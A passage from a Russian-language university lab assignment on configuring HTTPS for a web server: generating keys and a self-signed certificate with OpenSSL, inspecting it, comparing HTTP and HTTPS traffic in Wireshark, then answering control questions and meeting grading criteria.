У 3.5.4 анализировать полученные результаты аудита и тестирования на проникновение для определения уязвимостей и рисков безопасности;
У 3.5.5 предоставлять отчеты и рекомендации по улучшению безопасности веб-приложений на основе проведенного аудита.

**Материальное обеспечение:**

ПК, IDE, веб-сервер, браузер

**Задание:**

1. Изучить теоретические основы протоколов HTTPS, SSL и TLS.
2. Настроить веб-сервер для работы по протоколу HTTPS.
3. Сгенерировать самоподписанный SSL/TLS-сертификат или получить сертификат от доверенного центра сертификации.
4. Проверить корректность установки сертификата и защищённость соединения.
5. Проанализировать содержимое SSL/TLS-сертификата с помощью стандартных инструментов.
6. Провести сравнение передачи данных по HTTP и HTTPS с помощью анализатора трафика (Wireshark).
7. Ответить на контрольные вопросы по теме работы.

**Порядок выполнения работы**

1. Подготовка среды

– Установить веб-сервер (Apache, Nginx) на локальную или виртуальную машину.
– Установить пакет OpenSSL (или аналогичный инструмент для работы с сертификатами).

2. Генерация SSL/TLS-сертификата

– Сгенерировать приватный ключ:

```
openssl genpkey -algorithm RSA -out private_key.pem
```

– Создать запрос на сертификат (CSR):

```
openssl req -new -key private_key.pem -out csr.pem
```

– Сгенерировать самоподписанный сертификат:

```
openssl x509 -req -days 365 -in csr.pem -signkey private_key.pem -out certificate.pem
```

– (Опционально) Получить сертификат от доверенного CA, отправив ему CSR.

3. Настройка веб-сервера для работы по HTTPS

– Скопировать сертификат и приватный ключ в директорию веб-сервера.

– Внести изменения в конфигурацию сервера для включения HTTPS (для Apache — настроить VirtualHost на 443 порту, указать пути к сертификату и ключу).

– Перезапустить веб-сервер.

4. Проверка работы HTTPS

– Открыть сайт через браузер по адресу https://<адрес_сервера>.

– Проверить наличие значка замка и информацию о сертификате.

– Использовать онлайн-сервисы (SSL Labs) для анализа сертификата и конфигурации сервера.

5. Анализ трафика

– С помощью Wireshark или аналогичного инструмента перехватить трафик по HTTP и HTTPS.

– Сравнить содержимое пакетов: убедиться, что по HTTPS данные зашифрованы.

6. Анализ SSL/TLS-сертификата

– Вывести информацию о сертификате командой:

```
openssl x509 -in certificate.pem -noout -text
```

– Описать основные поля сертификата: субъект, эмитент, срок действия, открытый ключ, алгоритм подписи.

7. Оформление отчёта

– Включить в отчёт все выполненные команды, скриншоты настроек и анализа трафика, выводы по каждому этапу работы.

**Форма представления результата:**

1. Отчёт по лабораторной работе в электронном или бумажном виде, включающий:

– цель и задание;

– описание всех этапов настройки (с примерами команд и скриншотами);

– анализ содержимого SSL/TLS-сертификата;

– сравнение перехваченного трафика по HTTP и HTTPS;

– ответы на контрольные вопросы:

- Что такое SSL/TLS и каковы их основные задачи?
- Какие этапы включает процесс установления TLS/SSL-соединения?
- Для чего используется цепочка доверия и как она работает?
- Как создать CSR и что это такое?
- Какие поля входят в CSR и сертификат?

- Что произойдёт, если в цепочке доверия отсутствует корневой сертификат?

2. Демонстрация работы защищённого соединения (по возможности — показать работу сайта по HTTPS и анализ трафика).

3. Архив с файлами конфигурации, сертификатами и скриптами, использованными в работе

**Критерии оценки:**

Оценка "5" ставится: вся работа выполнена безошибочно и нет исправлений;

Оценка "4" ставится: допущены 1-2 вычислительные ошибки.

Оценка "3" ставится: допущены ошибки в ходе решения задачи при правильном выполнении всех остальных заданий или допущены 3-4 вычислительные ошибки, при этом ход анализа должен быть верным.

Оценка "2" ставится: допущены ошибки в ходе решения задачи и хотя бы одна вычислительная ошибка или при анализе и примеров допущено более 5 вычислительных ошибок.